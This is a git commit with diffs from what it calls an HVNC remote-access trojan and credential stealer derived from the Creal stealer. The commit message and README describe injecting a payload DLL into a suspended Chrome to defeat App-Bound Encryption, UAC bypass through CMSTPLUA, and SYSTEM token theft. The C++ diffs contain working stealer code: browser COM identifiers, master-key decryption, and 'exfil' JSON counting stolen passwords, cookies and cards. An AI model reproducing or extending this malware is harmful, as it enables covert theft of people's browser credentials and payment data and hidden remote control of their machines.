restore the proven v20 flow; drop the fork+APC experiment

The v20 master key is recovered the proven way: the agent spawns Chrome
suspended, reflectively injects the payload DLL, and the payload decrypts
the app-bound key through the COM IElevator inside the browser, pipes the
full loot back, and the agent terminates the host. The offline agent falls
back to the DPAPI v10 key. Verified on the box: identical loot across runs,
144 real v20 cookies decrypted to plaintext.

The Vidar-style fork+APC experiment is removed entirely, including its
syscall wrappers; the syscall engine is back to the pre-ABE baseline. What
the experiment taught is recorded in FUTURE_ADDITIONS: CryptProtectMemory
lives in crypt32/dpapi not kernel32, special user APCs are rejected for CET
threads, NtCreateProcessEx forks crash Chrome 151, elevated browsers refuse
access from a medium-integrity agent, and re-encrypting an unchanged buffer
corrupts live browser memory.

Diagnostics kept: inject errors surface in the loot instead of silently
falling back, and the payload reports an empty loot explicitly.
This commit is contained in:
JYenn
2026-08-20 22:11:17 +01:00
parent 813acd499f
commit 8ee9393ea4
7 changed files with 59 additions and 34 deletions
+3 -3
View File
@@ -8,7 +8,7 @@
**A HVNC remote-access trojan and stealer rebuilt for the App-Bound Encryption era.**
Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked credential decryption behind App-Bound Encryption (ABE), a COM service running as the browser user. The agent walks that COM object in-process via indirect syscalls, so decrypted credentials never touch disk. ABE research is all [xaitax](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption). Local testing and research only.
Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked credential decryption behind App-Bound Encryption (ABE), a COM service running as the browser user. The agent spawns a suspended browser and reflectively injects a payload DLL, which walks that COM object in-process so decrypted credentials never touch disk. ABE research is all [xaitax](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption). Local testing and research only.
## Demo
@@ -41,7 +41,7 @@ Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked creden
## How it works
- 🔐 **Channel**: the console holds the private half of an ECDH P-256 keypair in `.misery_key`; the agent only ever ships the public half. Every session derives a fresh AES-256-GCM key from the handshake, so no key material repeats across bots.
- 💉 **Stealing**: spawn a suspended Chrome or Edge, inject the payload DLL in-process, and walk the ABE COM object to decrypt the stored credentials. No disk write, and the browser never visibly opens.
- 💉 **Stealing**: the v20 master key comes from the COM IElevator service, called inside a suspended, freshly spawned browser via reflective payload injection so the process-path check passes. The offline agent falls back to the DPAPI v10 key. No disk write, and the browser never visibly opens.
- 🖥️ **HVNC**: GDI apps run on a hidden desktop and stream frames to the operator view. Ghosted sessions drive a real Chromium over the Chrome DevTools Protocol, logged into the victim's profiles; the browser is basically them.
- ⬆️ **Elevation**: relaunch as admin via a forged PEB (process environment block) and COM auto-elevation (CMSTPLUA/ICMLuaUtil), then SYSTEM through SeDebug token theft from a non-PPL process.
@@ -49,7 +49,7 @@ Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked creden
| Target | Version |
|---|---|
| Google Chrome | `150.0.7871.187` |
| Google Chrome | `151.0.7922.140` |
| Microsoft Edge | `151.0.4129.59` |
| Elevation chain | Windows 11 25H2 (build 26200) |
+10
View File
@@ -146,7 +146,17 @@ static bool inject_steal(std::string& json, std::string& err) {
return true;
}
err = inj.error;
printf("[agent] inject failed: %s\n", err.c_str());
json = run_steal();
if (!json.empty() && !err.empty()) {
std::string esc;
for (char c : err) {
if (c == '\\' || c == '"') esc += '\\';
esc += c;
}
// Prepend a diagnostic field to the loot object.
json.replace(0, 1, "{\"inject_error\":\"" + esc + "\",");
}
return !json.empty();
}
+1
View File
@@ -101,6 +101,7 @@ static DWORD WINAPI PayloadThread(LPVOID lpParam) {
// triggered by the explicit STEAL command instead).
std::string json;
if (!seeds_only) json = collect_loot(browser_paths);
if (!seeds_only && json.empty()) fail(hPipe, "ERREMPTYLOOT", 12, hModule);
// Cookie seeds: the Default profile of the browser we are running inside,
// decrypted with the app-bound key (the same IElevator pipe that makes the
+32 -27
View File
@@ -18,6 +18,35 @@ void set_proxy_blanket(IUnknown* p) {
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
}
// Shared per-browser config table used by detect_browser().
BrowserConfig make_cfg(const std::string& name, const std::wstring& local) {
if (name == "Edge") {
return BrowserConfig{
"Edge",
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
IID{0x8F7B6792, 0x784D, 0x4047, {0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05}},
local + L"\\Microsoft\\Edge\\User Data"
};
}
if (name == "Brave") {
return BrowserConfig{
"Brave",
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
IID{0x1BF5208B, 0x295F, 0x4992, {0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}},
local + L"\\BraveSoftware\\Brave-Browser\\User Data"
};
}
return BrowserConfig{
"Chrome",
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
IID{0x1BF5208B, 0x295F, 0x4992, {0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}},
local + L"\\Google\\Chrome\\User Data"
};
}
// The elevation service is a local COM server whose DecryptData call can fault
// (wrong interface variant, service quirk, or running outside the browser). A
// fault must degrade to the DPAPI fallback, never kill the agent, so the call
@@ -88,33 +117,9 @@ std::optional<BrowserConfig> detect_browser() {
std::wstring local(local_path);
CoTaskMemFree(local_path);
if (exe == "chrome.exe") {
return BrowserConfig{
"Chrome",
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
IID{0x1BF5208B, 0x295F, 0x4992, {0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}},
local + L"\\Google\\Chrome\\User Data"
};
}
if (exe == "msedge.exe") {
return BrowserConfig{
"Edge",
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
IID{0x8F7B6792, 0x784D, 0x4047, {0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05}},
local + L"\\Microsoft\\Edge\\User Data"
};
}
if (exe == "brave.exe") {
return BrowserConfig{
"Brave",
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
IID{0x1BF5208B, 0x295F, 0x4992, {0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}},
local + L"\\BraveSoftware\\Brave-Browser\\User Data"
};
}
if (exe == "chrome.exe") return make_cfg("Chrome", local);
if (exe == "msedge.exe") return make_cfg("Edge", local);
if (exe == "brave.exe") return make_cfg("Brave", local);
return std::nullopt;
}
+1
View File
@@ -13,6 +13,7 @@
std::vector<uint8_t> g_master_key;
bool g_master_key_valid = false;
std::string g_abe_reason;
sqlite3_open_t p_sqlite3_open = nullptr;
sqlite3_close_t p_sqlite3_close = nullptr;
+10 -4
View File
@@ -2063,6 +2063,7 @@ std::string format_exfil_json(
}
}
ss << "\",\n";
ss << " \"abe_reason\": \"" << json_escape(g_abe_reason) << "\",\n";
ss << " \"passwords\": " << passwords.size() << ",\n";
ss << " \"cookies\": " << cookies.size() << ",\n";
ss << " \"cards\": " << cards.size() << ",\n";
@@ -2202,9 +2203,10 @@ StealKey acquire_browser_key(const std::optional<BrowserConfig>& cfg,
return StealKey::NoLocalState;
}
// Chrome 127+ app-bound key. Decryption only succeeds inside the
// browser process; an attempted-but-empty result still proceeds so the
// payload can report non-browser targets.
// Chrome 127+ app-bound key. The payload runs inside the browser, so the
// COM IElevator decrypt passes its process-path check; the offline agent
// falls through to the DPAPI v10 key. The proven flow. The fork+APC
// experiment sits out of the build in src/stealer/experimental.
const std::string key_name = "\"app_bound_encrypted_key\"";
size_t pos = ls.find(key_name);
if (pos != std::string::npos) {
@@ -2225,7 +2227,11 @@ StealKey acquire_browser_key(const std::optional<BrowserConfig>& cfg,
}
g_master_key = chrome_abe_decrypt_key(bc, std::vector<uint8_t>(raw.begin(), raw.end()));
g_master_key_valid = !g_master_key.empty();
if (!g_master_key_valid) set_reason("ABE decrypt failed");
if (!g_master_key_valid) {
const char* msg = "ABE decrypt failed (COM)";
set_reason(msg);
g_abe_reason = msg;
}
return StealKey::Ok;
}
+2
View File
@@ -116,6 +116,8 @@ struct SystemInfo {
extern std::vector<uint8_t> g_master_key;
extern bool g_master_key_valid;
extern std::string g_abe_reason;
// Result of acquire_browser_key(). The in-browser payload aborts on everything
// except Ok; the offline agent only logs the reason and collects what it can.
enum class StealKey {